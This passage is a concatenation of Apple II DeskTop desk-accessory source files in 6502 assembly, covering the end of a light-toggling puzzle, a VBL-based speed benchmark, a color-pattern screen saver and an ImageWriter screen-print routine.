;; Yes, victory!
ldx #4
DO
txa
pha
jsr PlaySound
jsr InvertWindow
pla
tax
dex
WHILE_NOT_ZERO
CLEAR_BIT7_FLAG scrambled_flag
ret: rts
.endproc ; DoLightClick
;;; ============================================================
;;; Input: A = light index
;;; Output: A is unchanged
.proc ToggleLight
ptr := $06
pha ; A = index
jsr SetButtonPtr
;; Toggle `state`
ldy #BTK::ButtonRecord::state
lda (ptr),y
eor #$80
sta (ptr),y
;; Repaint
copy16 ptr, rec_ptr
BTK_CALL BTK::RadioUpdate, SELF_MODIFIED, rec_ptr
pla ; A = index
rts
.endproc ; ToggleLight
;;; Input: A = light index
;;; Output: A is unchanged
.proc ToggleLightNoRedraw
ptr := $06
pha ; A = index
jsr SetButtonPtr
;; Toggle `state`
ldy #BTK::ButtonRecord::state
lda (ptr),y
eor #$80
sta (ptr),y
pla ; A = index
rts
.endproc ; ToggleLightNoRedraw
;;; ============================================================
;;; Input: A = light index
;;; Output: $06 points at `ButtonRecord`, A is unchanged
.proc SetButtonPtr
ptr := $06
pha ; A = index
;; Set `ptr` to address of `ButtonRecord`
tax
copy16 #button_0_0 - .sizeof(button_0_0), ptr
DO
add16_8 ptr, #.sizeof(button_0_0)
dex
WHILE_POS
pla ; A = index
rts
.endproc ; SetButtonPtr
;;; ============================================================
;;; Draw the DA window
.proc DrawWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_NE ; obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
;; Draw all buttons
copy16 #button_0_0, rec_ptr
ldx #kLights-1
DO
txa ; A = index
pha
BTK_CALL BTK::RadioDraw, SELF_MODIFIED, rec_ptr
add16_8 rec_ptr, #.sizeof(button_0_0)
pla ; A = index
tax
dex
WHILE_POS
rts
.endproc ; DrawWindow
;;; ============================================================
.proc Scramble
ldx #kLights-1
DO
txa
pha ; A = index
jsr Random
IF_NS
pla ; A = index
pha ; A = index
jsr ToggleLightNoRedraw
;; Toggle neighbors
pha
jsr IndexToXY
inx
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLightNoRedraw
END_IF
pla
pha
jsr IndexToXY
dex
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLightNoRedraw
END_IF
pla
pha
jsr IndexToXY
iny
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLightNoRedraw
END_IF
pla
pha
jsr IndexToXY
dey
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLightNoRedraw
END_IF
pla
END_IF
pla
tax
dex
WHILE_POS
SET_BIT7_FLAG scrambled_flag
jmp DrawWindow
.endproc ; Scramble
;;; ============================================================
;;; Input: A = index
;;; Output: X,Y = coords
.proc IndexToXY
ldy #0
DO
BREAK_IF_A_LT #kCols
iny
sbc #kCols
WHILE_POS ; always
tax
rts
.endproc ; IndexToXY
;;; Input: X,Y = coords
;;; Output: A = index
.proc XYToIndex
txa
DO
dey
BREAK_IF_NEG
clc
adc #kCols
WHILE_NOT_ZERO ; always
rts
.endproc ; XYToIndex
;;; Input: X,Y = coords
;;; Output: C=0 if valid, C=1 if not valid
.proc IsXYValid
cpx #kCols
bcs ret
cpy #kRows
ret: rts
.endproc ; IsXYValid
;;; ============================================================
;;; Play sound
.proc PlaySound
ldx #$80
loop1: lda #88
loop2: ldy #27
delay1: dey
bne delay1
bit SPKR
tay
delay2: dey
bne delay2
sbc #1
beq loop1
bit SPKR
dex
bne loop2
rts
.endproc ; PlaySound
;;; ============================================================
.proc InvertWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_ZERO ; not obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPattern, pattern_black
MGTK_CALL MGTK::SetPenMode, notpenXOR
MGTK_CALL MGTK::PaintRect, invert_rect
END_IF
rts
.endproc ; InvertWindow
;;; ============================================================
.include "../lib/prng.s"
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::CreateWindow
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 15,163
|
src/desk.acc/benchmark.s
|
;;; ============================================================
;;; BENCHMARK - Desk Accessory
;;;
;;; Uses VBL to probe system speed.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "benchmark.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Param blocks
kDAWindowId = $80
kDAWidth = 400
kDAHeight = 70
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
kButtonInsetX = 25
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kDAWidth - kButtonWidth - kButtonInsetX, 52
DEFINE_LABEL title, res_string_window_title, 0, 18
;;; ============================================================
.include "../lib/event_params.s"
;;; ============================================================
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 100
mincontheight: .word 100
maxcontwidth: .word 500
maxcontheight: .word 500
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8,$FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
.params getwinport_params
window_id: .byte 0
a_grafport: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
;;; ============================================================
DEFINE_BUTTON radio_60hz_button, kDAWindowId, res_string_60hz, res_string_shortcut_apple_6, 60, 54
DEFINE_BUTTON radio_50hz_button, kDAWindowId, res_string_50hz, res_string_shortcut_apple_5, 140, 54
;;; ============================================================
str_from_int: PASCAL_STRING "000,000" ; Filled in by IntToString
str_spaces: PASCAL_STRING " "
counter: .word 0 ; set by `ProbeSpeed`
kSpeedDefault60Hz = 97 ; Measured
kSpeedDefault50Hz = kSpeedDefault60Hz * 60 / 50 ; TODO: Validate on real hardware
kSpeedMax = 16 ; MHz
kMeterTop = 24
kMeterHeight = 9
kMeterLeft = 20
kMeterWidth = kDAWidth-kMeterLeft*2
DEFINE_RECT_SZ meter_frame, kMeterLeft-1, kMeterTop-1, kMeterWidth+2, kMeterHeight+2
DEFINE_RECT_SZ meter_left, kMeterLeft, kMeterTop, kMeterWidth, kMeterHeight
DEFINE_RECT_SZ meter_right, kMeterLeft, kMeterTop, kMeterWidth, kMeterHeight
.params ticks_muldiv_params
number: .word kMeterWidth ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word kSpeedMax ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.params progress_muldiv_params
number: .word kMeterWidth ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word 0 ; (in) populated dynamically
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
pattern_left:
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
pattern_right:
.byte %11101110
.byte %11111111
.byte %10111011
.byte %11111111
.byte %11101110
.byte %11111111
.byte %10111011
.byte %11111111
pattern_plaid:
.byte %01011010
.byte %11111111
.byte %01011010
.byte %01011010
.byte %01011010
.byte %11111111
.byte %01011010
.byte %01011010
DEFINE_POINT pt_tick, 0, kMeterTop + kMeterHeight + 2
DEFINE_POINT pt_tickdelta, 0, 2
DEFINE_POINT pt_labeldelta, 0, kSystemFontHeight + 2
;;; ============================================================
;;; Initialize window, unpack the date.
.proc RunDA
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
param_call DrawTitleString, title_label_str
MGTK_CALL MGTK::FrameRect, meter_frame
lda #0
DO
pha
sta ticks_muldiv_params::numerator
MGTK_CALL MGTK::MulDiv, ticks_muldiv_params
add16 meter_left::x1, ticks_muldiv_params::result, pt_tick::xcoord
MGTK_CALL MGTK::MoveTo, pt_tick
MGTK_CALL MGTK::Line, pt_tickdelta
pla
pha
ldx #0
jsr IntToString
MGTK_CALL MGTK::Move, pt_labeldelta
param_call DrawStringCentered, str_from_int
pla
clc
adc #1
WHILE_A_LT #kSpeedMax+1
lda #BTK::kButtonStateChecked
sta radio_60hz_button::state
BTK_CALL BTK::RadioDraw, radio_60hz_button
BTK_CALL BTK::RadioDraw, radio_50hz_button
BTK_CALL BTK::Draw, ok_button
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; RunDA
;;; ============================================================
;;; Input loop
.proc InputLoop
dec probe_count
IF_ZERO
jsr UpdateMeter
END_IF
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
jeq OnClick
cmp #MGTK::EventKind::key_down
beq OnKey
jmp InputLoop
probe_count:
.byte 0
.endproc ; InputLoop
.proc OnKey
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
cmp #res_char_shortcut_apple_5
jeq OnClick50Hz
cmp #res_char_shortcut_apple_6
jeq OnClick60Hz
cmp #kShortcutCloseWindow
beq OnKeyOK
jmp InputLoop
END_IF
cmp #CHAR_RETURN
beq OnKeyOK
cmp #CHAR_ESCAPE
beq OnKeyOK
jmp InputLoop
.endproc ; OnKey
.proc OnKeyOK
BTK_CALL BTK::Flash, ok_button
jmp CloseWindow
.endproc ; OnKeyOK
;;; ============================================================
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne miss
lda findwindow_params::which_area
cmp #MGTK::Area::content
beq hit
miss: jmp InputLoop
hit: lda winfo::window_id
sta screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, radio_60hz_button::rect
bne OnClick60Hz
MGTK_CALL MGTK::InRect, radio_50hz_button::rect
bne OnClick50Hz
MGTK_CALL MGTK::InRect, ok_button::rect
bne OnClickOK
jmp InputLoop
.endproc ; OnClick
;;; ============================================================
.proc OnClick60Hz
bit radio_60hz_button::state
bmi done
lda #BTK::kButtonStateChecked
sta radio_60hz_button::state
lda #BTK::kButtonStateNormal
sta radio_50hz_button::state
BTK_CALL BTK::RadioUpdate, radio_60hz_button
BTK_CALL BTK::RadioUpdate, radio_50hz_button
done: jmp InputLoop
.endproc ; OnClick60Hz
;;; ============================================================
.proc OnClick50Hz
bit radio_50hz_button::state
bmi done
lda #BTK::kButtonStateNormal
sta radio_60hz_button::state
lda #BTK::kButtonStateChecked
sta radio_50hz_button::state
BTK_CALL BTK::RadioUpdate, radio_60hz_button
BTK_CALL BTK::RadioUpdate, radio_50hz_button
done: jmp InputLoop
.endproc ; OnClick50Hz
;;; ============================================================
.proc OnClickOK
BTK_CALL BTK::Track, ok_button
jeq CloseWindow
jmp InputLoop
.endproc ; OnClickOK
;;; ============================================================
.proc CloseWindow
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; CloseWindow
;;; ============================================================
.proc UpdateMeter
MGTK_CALL MGTK::SetPattern, pattern_left
jsr ProbeSpeed
copy16 counter, progress_muldiv_params::numerator
bit radio_60hz_button::state
IF_NS
copy16 #kSpeedMax * kSpeedDefault60Hz, progress_muldiv_params::denominator
ELSE
copy16 #kSpeedMax * kSpeedDefault50Hz, progress_muldiv_params::denominator
END_IF
MGTK_CALL MGTK::MulDiv, progress_muldiv_params
;; Max out the meter
cmp16 progress_muldiv_params::result, #kMeterWidth
IF_GE
copy16 #kMeterWidth, progress_muldiv_params::result
MGTK_CALL MGTK::SetPattern, pattern_plaid
END_IF
add16 meter_left::x1, progress_muldiv_params::result, meter_left::x2
add16 meter_left::x2, #1, meter_right::x1
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, meter_left
MGTK_CALL MGTK::SetPattern, pattern_right
MGTK_CALL MGTK::PaintRect, meter_right
rts
.endproc ; UpdateMeter
;;; ============================================================
;;; Draw Title String (centered at top of port)
;;; Input: A,X = string address
.proc DrawTitleString
text_params := $6
text_addr := text_params + 0
text_length := text_params + 2
text_width := text_params + 3
stax text_addr ; input is length-prefixed string
ldy #0
lda (text_addr),y
sta text_length
inc16 text_addr ; point past length
MGTK_CALL MGTK::TextWidth, text_params
sub16 #kDAWidth, text_width, title_label_pos::xcoord
lsr16 title_label_pos::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, title_label_pos
MGTK_CALL MGTK::DrawText, text_params
rts
.endproc ; DrawTitleString
;;; ============================================================
.proc ProbeSpeed
copy16 #0, counter
php
sei
;; Probe system type; we need a different strategy for
;; IIe/IIgs (softswitch) vs IIc (interrupts)
bit ROMIN2
lda ZIDBYTE ; IIc = 0
bit LCBANK1
bit LCBANK1
cmp #0
.macro SPIN_CPU
ldx #$20 ; IIgs slows to read VBL; spin
: dex ; here so bulk of loop is fast.
bne :- ; c/o Kent Dickey
.endmacro
IF_NE
;; IIe / IIgs
;; Wait one cycle
: bit RDVBLBAR
bpl :-
: bit RDVBLBAR
bmi :- ; start off with high bit clear
;; Loop until full cycle seen
DO
inc16 counter
SPIN_CPU
bit RDVBLBAR
WHILE_NC
DO
inc16 counter
SPIN_CPU
bit RDVBLBAR
WHILE_NS
ELSE
;; IIc
;; See Apple IIc Tech Note #9: Detecting VBL
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/aiic/tn.aiic.9.html
lda IOUDISON ; = RDIOUDIS
pha ; save IOUDIS state
sta IOUDISOFF
lda RDVBLMSK
pha ; save VBL interrupt state
sta ENVBL
;; Wait for VBL
: bit RDVBLBAR
bpl :-
bit IOUDISON ; = RDIOUDIS (since PTRIG would slow)
;; Wait for VBL
DO
inc16 counter
SPIN_CPU
bit RDVBLBAR
WHILE_NC
bit IOUDISON ; = RDIOUDIS (since PTRIG would slow)
pla ; restore VBL interrupt state
IF_NC
sta DISVBL
END_IF
pla ; restore IOUDIS state
IF_NC
sta IOUDISON
END_IF
END_IF
plp
rts
.endproc ; ProbeSpeed
;;; ============================================================
.proc DrawStringCentered
params := $6
textptr := $6
textlen := $8
result := $9
stax textptr
ldy #0
lda (textptr),y
sta textlen
inc16 textptr
MGTK_CALL MGTK::TextWidth, params
lsr16 result
sub16 #0, result, result
lda #0
sta result+2
sta result+3
MGTK_CALL MGTK::Move, result
MGTK_CALL MGTK::DrawText, params
rts
.endproc ; DrawStringCentered
;;; ============================================================
.include "../lib/inttostring.s"
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
rts
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 10,722
|
src/desk.acc/rods.pattern.s
|
;;; ============================================================
;;; RODS.PATTERN - Desk Accessory
;;;
;;; Rod’s Color Pattern - From the Apple ][ "Red Book"
;;; Adapted from Dr. John B. Matthews for A2D by Frank Milliron
;;; https://sites.google.com/site/drjohnbmatthews/apple2
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
forty := $28
gbasl := $26
color := $30
cgs := $31
textpt := $3A
A1 := $3C
A2 := $3E
A3 := $40
A4 := $42
A5 := $44
w := $E0
i := $E1
j := $E2
k := $E3
fmi := $E4
fmk := $E5
key := $C000
strobe := $C010
fullscr := $C052
pread := $FB1E
settx := $FB39
setgr := $FB40
vtab := $FB5B
wait := $FCA8
cout1 := $FDF0
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
event_params: .tag MGTK::Event
;;; ============================================================
DA_END_AUX_SEGMENT
DA_START_MAIN_SEGMENT
;;; ============================================================
kMainPageClearByte = ' '|$80 ; space
kAuxPageClearByte = $C0 ; light-green on black, for RGB cards
.proc Start
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
bit ROMIN2
sta ALTZPOFF
jsr SaveText
sta TXTSET
sta CLR80VID
sta DHIRESOFF
;; IIgs: save text & border colors & set white-on-black text
sec
jsr IDROUTINE
IF_CC
.pushcpu
.setcpu "65816"
lda TBCOLOR ; save text fg/bg
pha
lda #$F0 ; assign text fg/bg
sta TBCOLOR
lda CLOCKCTL ; save border
and #$0F
pha
.popcpu
END_IF
jsr Run
;; IIgs: restore original border color
sec
jsr IDROUTINE
IF_CC
.pushcpu
.setcpu "65816"
lda #$0F
trb CLOCKCTL
pla
tsb CLOCKCTL ; restore border
pla
sta TBCOLOR ; restore text fg/bg
.popcpu
END_IF
sta TXTCLR
sta SET80VID
sta DHIRESON
jsr RestoreText
sta ALTZPON
bit LCBANK1
bit LCBANK1
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
jmp JUMP_TABLE_RGB_MODE
.endproc ; Start
;;; ============================================================
;;; Save and clear main/aux text page 1 (preserving screen holes)
.proc SaveText
sta SET80STORE ; let PAGE2 control banking
lda #0
sta CV
ptr1 := $06
ptr2 := $08
;; Set BASL/H
DO
jsr VTAB
add16 BASL, #save_buffer-$400, ptr1
add16 ptr1, #$400, ptr2
ldy #39
DO
;; Main
lda (BASL),y
sta (ptr1),y
lda #kMainPageClearByte
sta (BASL),y
;; Aux
sta PAGE2ON
lda (BASL),y
sta (ptr2),y
lda #kAuxPageClearByte
sta (BASL),y
sta PAGE2OFF
dey
WHILE_POS
inc CV
lda CV
WHILE_A_NE #24
sta CLR80STORE
rts
.endproc ; SaveText
;;; Restore main/aux text page 1 (preserving screen holes)
.proc RestoreText
sta SET80STORE ; let PAGE2 control banking
lda #0
sta CV
ptr1 := $06
ptr2 := $08
;; Set BASL/H
DO
jsr VTAB
add16 BASL, #save_buffer-$400, ptr1
add16 ptr1, #$400, ptr2
ldy #39
DO
;; Main
lda (ptr1),y
sta (BASL),y
;; Aux
sta PAGE2ON
lda (ptr2),y
sta (BASL),y
sta PAGE2OFF
dey
WHILE_POS
inc CV
lda CV
WHILE_A_NE #24
sta CLR80STORE
rts
.endproc ; RestoreText
;;; ============================================================
event_params: .tag MGTK::Event
;;; ============================================================
.proc CopyEventAuxToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params + .sizeof(MGTK::Event) - 1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux > main
jmp AUXMOVE
.endproc ; CopyEventAuxToMain
;;; ============================================================
;;; DA Guts of the screen saver
.proc Run
lda HIRESON
jsr setgr
jsr HOME
lda #$16
jsr vtab
jsr prtext
.byte " PDL(0) controls speed of display"
.byte $8D
.byte " Press any key to exit"
.byte $00
begin: lda #$03 ;init loop counters
sta w
nxtw: lda #$01
sta i
nxti: lda #$00
sta j
nxtj: clc
lda i
adc j
sta k
jsr colsel
ldy i ;plot i,k
lda k
jsr plot
ldy k ;plot k,i
lda i
jsr plot
sec ;plot 40-i, 40-k
lda #forty
sbc i
sta fmi
tay
sec
lda #forty
sbc k
sta fmk
jsr plot
ldy fmk ;plot 40-k, 40-i
lda fmi
jsr plot
ldy k ;plot k, 40-i
lda fmi
jsr plot
ldy fmi ;plot 40-i, k
lda k
jsr plot
ldy i ;plot i, 40-k
lda fmk
jsr plot
ldy fmk ;plot 40-k, i
lda i
jsr plot
jsr delay
inc j ;close loops
lda j
cmp #$14
bcc nxtj
inc i
lda i
cmp #$14
bcc nxti
inc w
lda w
cmp #$33
bcc nxtw
jmp begin
;
; Delay by setting of PDL(0)
;
delay: ldx #$00
jsr pread ;read pdl(0)
tya
lsr ;divide by 4
lsr
beq del1
jsr wait
del1: ;; See if there's an event that should make us exit.
bit LCBANK1
bit LCBANK1
sta ALTZPON
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
sta ALTZPOFF
bit ROMIN2
jsr CopyEventAuxToMain
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down
beq exit
cmp #MGTK::EventKind::key_down
beq exit
rts
exit: pla ;pop stack
pla
jsr settx
lda fullscr
lda HIRESOFF
rts ;return to A2D
;
; Plot via table lookup
; A = y coordinate; Y = x coordinate
;
plot: lsr
php
tax
lda basl,x
sta gbasl
lda bash,x
sta gbasl+1
jmp $F805 ;undocumented entry to ROM PLOT routine
basl: .byte $00,$80,$00,$80,$00,$80,$00,$80
.byte $28,$A8,$28,$A8,$28,$A8,$28,$A8
.byte $50,$D0,$50,$D0,$50,$D0,$50,$D0
bash: .byte $04,$04,$05,$05,$06,$06,$07,$07
.byte $04,$04,$05,$05,$06,$06,$07,$07
.byte $04,$04,$05,$05,$06,$06,$07,$07
;
; Print text up to next null
;
prtext: pla
sta textpt
pla
sta textpt+1
ldy #$00
prt1: inc textpt
bne prt2
inc textpt+1
prt2: lda (textpt),y
beq prt3
ora #$80
jsr cout1
jmp prt1
prt3: lda textpt+1
pha
lda textpt
pha
rts
;
; Color = j*3/(i+3)+i*w/12
;
colsel: clc ;A5 = j*3
lda j
adc j
adc j
sta A5
lda i ;A4 = i+3
adc #$03
sta A4
ldy #$FF ;A5 = A5/A4
sec
lda A5
divi3: sbc A4
iny
bcs divi3
sty A5
lda i ;A1 = i
sta A1
lda w ;A2 = w
sta A2
lda #$00 ;A3 = A1*A2
sta A3+1
ldx #$08
shift: asl
rol A3+1
asl A2
bcc bitcnt
clc
adc A1
bcc bitcnt
inc A3+1
bitcnt: dex
bne shift
sta A3
lda #$0C ;A2 = 12
sta A2
ldx #$08
lda A3 ;A1 = A3
sta A1
lda A3+1 ;A1 = A1/A2
div: asl A1
rol A
cmp A2
bcc bcnt
sbc A2
inc A1
bcnt: dex
bne div
clc ;A = A1+A5
lda A1
adc A5
and #$0F ;copy to upper nibble
sta color
sta cgs ;for IIgs only
asl
asl
asl
asl
ora color
sta color
;; If IIgs, set border to plot color
sec
jsr IDROUTINE
IF_CC
.pushcpu
.setcpu "65816"
lda #$0F
trb CLOCKCTL
lda cgs
tsb CLOCKCTL
.popcpu
END_IF
rts
.endproc ; Run
;;; ============================================================
da_end := *
save_buffer := *
;;; Ensure there's enough room for both main and aux text page
.assert * + $800 < $2000, error, .sprintf("Not enough room for save buffers")
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 7,656
|
src/desk.acc/print.screen.s
|
;;; ============================================================
;;; PRINT.SCREEN - Desk Accessory
;;;
;;; Dumps the contents of the graphics screen to an ImageWriter
;;; printer connected to a Super Serial Card in Slot 1.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
jsr JUMP_TABLE_HILITE_MENU
jsr DumpScreen
jsr JUMP_TABLE_HILITE_MENU
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
;;; ============================================================
kSigLen = 4
sig_offsets:
.byte $05, $07, $0B, $0C
ASSERT_TABLE_SIZE sig_offsets, kSigLen
sig_bytes:
.byte $38, $18, $01, $31
ASSERT_TABLE_SIZE sig_bytes, kSigLen
.proc DumpScreen
SLOT1 := $C100
;; Check for hardware signature - SSC in Slot 1
ldy #kSigLen-1
DO
ldx sig_offsets,y
lda SLOT1,x
cmp sig_bytes,y
bne no_device
dey
WHILE_POS
hbasl := $6
kScreenWidth = 560
kScreenHeight = 192
sta ALTZPOFF
bit ROMIN2
;; SSC operations trash the text page (if 80 col firmware active?)
jsr SaveTextPage
jsr PrintScreen
jsr RestoreTextPage
sta ALTZPON
bit LCBANK1
bit LCBANK1
ret: rts
no_device:
lda #ERR_DEVICE_NOT_CONNECTED
jmp JUMP_TABLE_SHOW_ALERT
.proc SendSpacing
ldy #0
DO
lda spacing_sequence,y
jsr COut
iny
WHILE_Y_NE #kLenSpacingSequence
rts
.endproc ; SendSpacing
.proc SendRestoreState
ldy #0
DO
lda restore_sequence,y
jsr COut
iny
WHILE_Y_NE #kLenRestoreSequence
rts
.endproc ; SendRestoreState
.proc SendInitGraphics
ldx #0
DO
lda init_graphics,x
jsr COut
inx
WHILE_X_NE #kLenInitGraphics
rts
init_graphics:
.byte CHAR_ESCAPE,"G0560" ; Graphics, 560 data bytes
kLenInitGraphics = * - init_graphics
.endproc ; SendInitGraphics
.proc SendRow
;; Tell printer to expect graphics
jsr SendInitGraphics
ldy #0
sty col_num
copy8 #1, mask
copy16 #0, x_coord
;; Uses PAGE2 flag to control main/aux reads
sta SET80STORE
col_loop:
copy8 #4, count ; 8 vertical pixels per row (doubled)
copy8 y_row, y_coord
;; Accumulate 8 pixels
DO
lda y_coord
jsr ComputeHBASL ; Row address in screen
lda col_num
lsr a ; Even or odd column?
tay
sta PAGE2OFF ; By default, read main mem $2000-$3FFF
IF_CC ; But even columns come from aux, so...
sta PAGE2ON ; Read aux mem $2000-$3FFF
END_IF
lda (hbasl),y ; Grab the whole byte
and mask ; Isolate the pixel we care about
cmp #1 ; Set carry if non-zero
php
ror accum ; And slide it into place
plp
ror accum ; Doubled
inc y_coord
dec count
WHILE_NOT_ZERO
;; Send the 8 pixels to the printer.
lda accum ; Now output it
eor #$FF ; Invert pixels (screen vs. print)
sta PAGE2OFF ; Read main mem $2000-$3FFF
jsr COut ; And actually print
;; Done all pixels across?
lda x_coord
IF_A_EQ #<(kScreenWidth-1)
lda x_coord+1
cmp #>(kScreenWidth-1)
beq done
END_IF
;; Next pixel to the right
asl mask
IF_NS ; Only 7 pixels per column
copy8 #1, mask
inc col_num
END_IF
inc x_coord
bne col_loop
inc x_coord+1
bne col_loop
done: sta PAGE2OFF ; Read main mem $2000-$3FFF
rts
.endproc ; SendRow
.proc PrintScreen
;; Init printer
ldy #SSC::PInit
jsr GoCard
jsr SendSpacing
copy8 #0, y_row
;; Print a row (560x8), CR+LF
DO
jsr SendRow
lda #CHAR_RETURN
jsr COut
lda #CHAR_DOWN
jsr COut
copy8 y_coord, y_row
WHILE_A_LT #kScreenHeight
;; Finish up
lda #CHAR_RETURN
jsr COut
lda #CHAR_DOWN
jsr COut
jsr SendRestoreState
rts
.endproc ; PrintScreen
;; Given y-coordinate in A, compute HBASL-equivalent
.proc ComputeHBASL
pha
and #$C7
eor #$08
sta hbasl+1
and #$F0
lsr a
lsr a
lsr a
sta hbasl
pla
and #$38
asl a
asl a
eor hbasl
asl a
rol hbasl+1
asl a
rol hbasl+1
eor hbasl
sta hbasl
rts
.endproc ; ComputeHBASL
;;; Inputs: Y = entry point, A = char to output (for `PWrite`)
.proc GoCard
ldx SLOT1,y
stx vector+1
ldx #>SLOT1 ; X = $Cn
ldy #((>SLOT1)<<4)&%11110000 ; Y = $n0
;; A2MISC TechNote #3 SSC C800 space
stx MSLOT
stx $CFFF
vector: jmp SLOT1 ; self-modified
.endproc ; GoCard
.proc COut
sta asave
stx xsave
sty ysave
ldy #SSC::PWrite
jsr GoCard
lda asave
ldx xsave
ldy ysave
rts
asave: .byte 0
xsave: .byte 0
ysave: .byte 0
.endproc ; COut
y_row: .byte 0 ; y-coordinate of row start (0, 8, ...)
x_coord:.word 0 ; x-coordinate of pixels being accumulated
y_coord:.byte 0 ; iterates y_row to y_row+7
mask: .byte 0 ; mask for pixel being processed
accum: .byte 0 ; accumulates pixels for output
count: .byte 0 ; 8...1 while a row is output
col_num:.byte 0 ; 0...79
.byte 0, 0
spacing_sequence:
.byte CHAR_ESCAPE,'n' ; IW2: 72 DPI (horizontal; "Extended")
.byte CHAR_ESCAPE,"T16" ; IW2: 72 DPI (vertical; 8 strikers / 72 = 16/144")
;; .byte CHAR_TAB,"L D",$8D ; SSC: Disable LF after CR
.byte CHAR_ESCAPE,'Z',$80,$00
kLenSpacingSequence = * - spacing_sequence
restore_sequence:
.byte CHAR_ESCAPE,'N' ; IW2: 80 DPI (horizontal)
